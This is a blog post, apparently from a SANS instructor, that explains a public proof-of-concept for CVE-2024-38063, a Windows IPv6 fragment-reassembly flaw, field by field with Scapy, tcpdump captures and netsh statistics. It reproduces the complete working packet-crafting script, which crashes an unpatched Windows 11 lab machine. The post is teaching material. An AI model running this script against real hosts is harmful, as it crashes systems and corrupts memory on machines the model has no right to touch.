By
Securitynik on 2024-09-20 22:00:34
First up, this post is significantly influenced by Miloš ynwarcs script for the above vulnerability. My objective here is to simplify the understanding of what the script is doing. If you intend to follow along, see: https://github.com/ynwarcs/CVE-2024-38063/tree/main for the original script.
In the SANS SEC503, we use Scapy a lot for instructing on packet crafting as well as doing lots of demos to reinforce topics around packets. We also spend some time talking about IPv6. As a result, I thought putting together a quick blog post explaining ynwarcs script would be a good way for someone to learn a bit about IPv6, as well as packet crafting, both at the same time.
Microsoft's FAQ states "An unauthenticated attacker could repeatedly send IPv6 packets, that include specially crafted packets, to a Windows machine which could enable remote code execution."
The vulnerability above affects various versions of Windows and seems to be associated with an integer underflow. More specifically it has to do with the way Windows handles IPv6 extension headers. Even more specifically, in this case, how Windows handles IPv6 reassembly via the reassembly header.
I first tried targeting Windows 10 using the script from ynwarcs GitHub repo, the system did not crash. Here is the system configuration.
Host Name: SEC504STUDENT OS Name: Microsoft Windows 10 Enterprise OS Version: 10.0.19044 N/A Build 19044 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 00329-10186-30720-AA281 Original Install Date: 5/3/2022, 11:35:25 PM System Boot Time: 9/20/2024, 4:28:04 AM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 2 Processor(s) Installed.
C:\windows\system32>netsh interface ipv6 show ipstats MIB-II IP Statistics ------------------------------------------------------ Forwarding is: Disabled Default TTL: 128 In Receives: 46073 In Header Errors: 9592 In Address Errors: 16317 Datagrams Forwarded: 0 In Unknown Protocol: 0 In Discarded: 0 In Delivered: 30318 Out Requests: 1019 Routing Discards: 0 Out Discards: 8 Out No Routes: 0 Reassembly Timeout: 60 Reassembly Required: 19110 Reassembled Ok: 0 Reassembly Failures: 0 Fragments Ok: 0 Fragments Failed: 0 Fragments Created: 0
C:\Users\securitynik>systeminfo | more Host Name: SECURITYNIK-WIN OS Name: Microsoft Windows 11 Pro OS Version: 10.0.22621 N/A Build 22621 OS Manufacturer: Microsoft Corporation OS Configuration: Member Workstation OS Build Type: Multiprocessor Free Registered Owner: securitynik Registered Organization: Product ID: 00330-80000-00000-AA490 Original Install Date: 7/11/2023, 11:48:41 PM System Boot Time: 9/20/2024, 10:10:53 AM System Manufacturer: VMware, Inc. System Model: VMware20,1 System Type: x64-based PC Processor(s): 2 Processor(s) Installed.
from scapy.all import *
iface='' ip_addr='' mac_addr='' num_tries=20 num_batches=20
C:\Users\securitynik>ipconfig /all | more Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : securitynik.local Description . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Connection Physical Address. . . . . . . . . : 00-0C-29-40-04-91 DHCP Enabled. . . . . . . . . . . : No Autoconfiguration Enabled . . . . : Yes Site-local IPv6 Address . . . . . : fec0::6%1(Preferred) Link-local IPv6 Address . . . . . : fe80::ffae:463c:5b03:ed01%12(Preferred) IPv4 Address. . . . . . . . . . . : 10.0.0.108(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . :
iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Linux
ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address
mac_addr='00:0C:29:40:04:91' # <- The MAC Address of the Windows 11 target host.
Note the change in format from "-" to ":"
num_tries=20
num_batches=20
iface='eth0' # <- This is the IP address of the attacking machine. In my case Kali Klinux ip_addr='fec0::6' # <- The Windows 11 target, IPv6 address mac_addr='' # Leaving this empty this time around num_tries=20 num_batches=20
frag_id = 0xdebac1e + i
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 Get packets frag_id: 233548830 batch id: 0 Sending packets ...... Sent 6 packets. Memory corruption will be triggered in 51 seconds
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Sending packets .................. Sent 18 packets. Memory corruption will be triggered in 51 seconds
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548831 batch id: 1 try: 1 Get packets frag_id: 233548831 batch id: 1 try: 1 Get packets frag_id: 233548832 batch id: 2 try: 2 Get packets frag_id: 233548832 batch id: 2 try: 2 Sending packets .................. Sent 18 packets. Memory corruption will be triggered in 51 seconds
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]) second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa' third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])) . Sent 1 packets.
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| Traffic Class | Flow Label | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Payload Length | Next Header | Hop Limit | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Source Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | | + + | | + Destination Address + | | + + | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
In the crafted "IPv6()" header, the value "fl=1" represents the "Flow Label". This is a 20-bit field used by the sender to label sequences of packet to be treated in the network as a single flow.
The "hlim=64" or "Hop Limit" is decremented by each host (think router for example) that forwards this packet. This is a 1-byte (8 bits) field.
"dst='fec0::6" - This is the 128-bit destination IP address of the host to receive this packet. For this demo, the host is at IPv6 address "fec0::6"
The next important part of this first packet is the "IPv6ExtHdrDestOpt". This relates to the "Destination Options Header". The optional information in this header should only be examined by the destination node (i.e. the true recipient of the packet)
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Next Header | Hdr Ext Len | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + | | . . . Options . . . | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
What are the options to be specified in this case? The option is the PadN. PadN and Pad1 are the only options defined in RFC 8200.
PadN is used to insert 2 or more octets of padding into the Options area of the header.
In this case the "optype=0x81" is an invalid option.
"optdata='a'*3" - This is just multiplying a 3 times. Hence resulting in an "opdata" of "aaa".
Looking at the packets from the network perspective
┌──(kali㉿securitynik)-[~] └─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes IP6 fec0::2 > fec0::6: DSTOPT no next header 0x0000: 6000 0001 0008 3c40 fec0 0000 0000 0000 `.....<@........ 0x0010: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0006 3b00 8103 6161 6100 ........;...aaa. IP6 fec0::6 > fec0::2: ICMP6, parameter problem, option - octet 42, length 56 0x0000: 6000 0000 0038 3a80 fec0 0000 0000 0000 `....8:......... 0x0010: 0000 0000 0000 0006 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0002 0402 e59e 0000 002a ...............* 0x0030: 6000 0001 0008 3c40 fec0 0000 0000 0000 `.....<@........ 0x0040: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0050: 0000 0000 0000 0006 3b00 8103 6161 6100 ........;...aaa.
Looking at the second packet:
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
Notice the small modifications, such as removing the variables:
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 1, offset = 0) / 'aaaaaaaa') . Sent 1 packets.
What is going on above?
Well no need to review the IPv6() header. Let's focus on the "IPv6ExtHdrFragment". In general, if a packet is larger than the Maximum Transmission Unit (MTU) of the network, that packet will need to be fragmented. In Ethernet the default MTU size is 1500 bytes. Hence, if you wish to spend a packet 1501 bytes, it will need to be fragmented.
The Fragment Header in IPv6 is used to send a packet that is larger than the MTU of the path to the destination. While in IPv4 fragmentation is handled by the source host and intermediate devices such as routers, in IPv6 this is only by source nodes.
We already know from above that the "id=frag_id" is going to generate a new fragment ID for each packet starting with "0xdebac1e" (noticed the word debacle in there 😁) or decimal "233548830". We also know that each fragment within a fragment train should have the same fragment ID. The fact that we have new fragment IDs for each try, means that we have a set of independent fragments.
The "m=1" means we have more fragments coming beyond this one.
"aaaaaaaa" - 8 bytes of data. Each a represents a byte value. Hence eight 8 as in this case 8 bytes.
What does this packet look like on the network?
┌──(kali㉿securitynik)-[~] └─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes IP6 fec0::2 > fec0::6: frag (0|8) no next header 0x0000: 6000 0001 0010 2c40 fec0 0000 0000 0000 `.....,@........ 0x0010: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0006 3b00 0001 0deb ac1e ........;....... 0x0030: 6161 6161 6161 6161 aaaaaaaa
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 0, offset = 1)) . Sent 1 packets.
┌──(kali㉿securitynik)-[~] └─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes IP6 fec0::2 > fec0::6: frag (8|0) 0x0000: 6000 0001 0008 2c40 fec0 0000 0000 0000 `.....,@........ 0x0010: 0000 0000 0000 0002 fec0 0000 0000 0000 ................ 0x0020: 0000 0000 0000 0006 3b00 0008 0deb ac1e ........;.......
from scapy.all import * iface='eth0' ip_addr='fec0::6' num_tries=20 num_batches=20 def get_packets(i): frag_id = 0xdebac1e + i print(f'Get packets frag_id: {frag_id} \t batch id: {i} \t try: {i}') first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]) second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa' third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1) return [first, second, third] final_ps = [] for _ in range(num_batches): for i in range(num_tries): final_ps += get_packets(i) + get_packets(i) print("Sending packets") send(final_ps, iface) for i in range(60): print(f"Memory corruption will be triggered in {60-i} seconds", end='\r') time.sleep(1) print("")
This is a snapshot of the host "ipstats" prior to sending the script above.
C:\Users\securitynik>netsh interface ipv6 show ipstats MIB-II IP Statistics ------------------------------------------------------ Forwarding is: Disabled Default TTL: 128 In Receives: 0 In Header Errors: 0 In Address Errors: 0 Datagrams Forwarded: 0 In Unknown Protocol: 0 In Discarded: 0 In Delivered: 43 Out Requests: 74 Routing Discards: 0 Out Discards: 0 Out No Routes: 0 Reassembly Timeout: 60 Reassembly Required: 0 Reassembled Ok: 0 Reassembly Failures: 0 Fragments Ok: 0 Fragments Failed: 0 Fragments Created: 0
Run the script:
┌──(kali㉿securitynik)-[/tmp] └─$ sudo python ./ipv6.py Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548830 batch id: 0 try: 0 Get packets frag_id: 233548831 batch id: 1 try: 1 ... Sent 2400 packets. Memory corruption will be triggered in 1 seconds
After running the script (and before it crashes) we see on the Windows hosts.
C:\Users\securitynik>netsh interface ipv6 show ipstats MIB-II IP Statistics ------------------------------------------------------ Forwarding is: Disabled Default TTL: 128 In Receives: 2426 In Header Errors: 0 In Address Errors: 0 Datagrams Forwarded: 0 In Unknown Protocol: 0 In Discarded: 0 In Delivered: 2469 Out Requests: 902 Routing Discards: 0 Out Discards: 0 Out No Routes: 0 Reassembly Timeout: 60 Reassembly Required: 1598 Reassembled Ok: 0 Reassembly Failures: 0 Fragments Ok: 0 Fragments Failed: 0 Fragments Created: 0
Finally we see the system crash: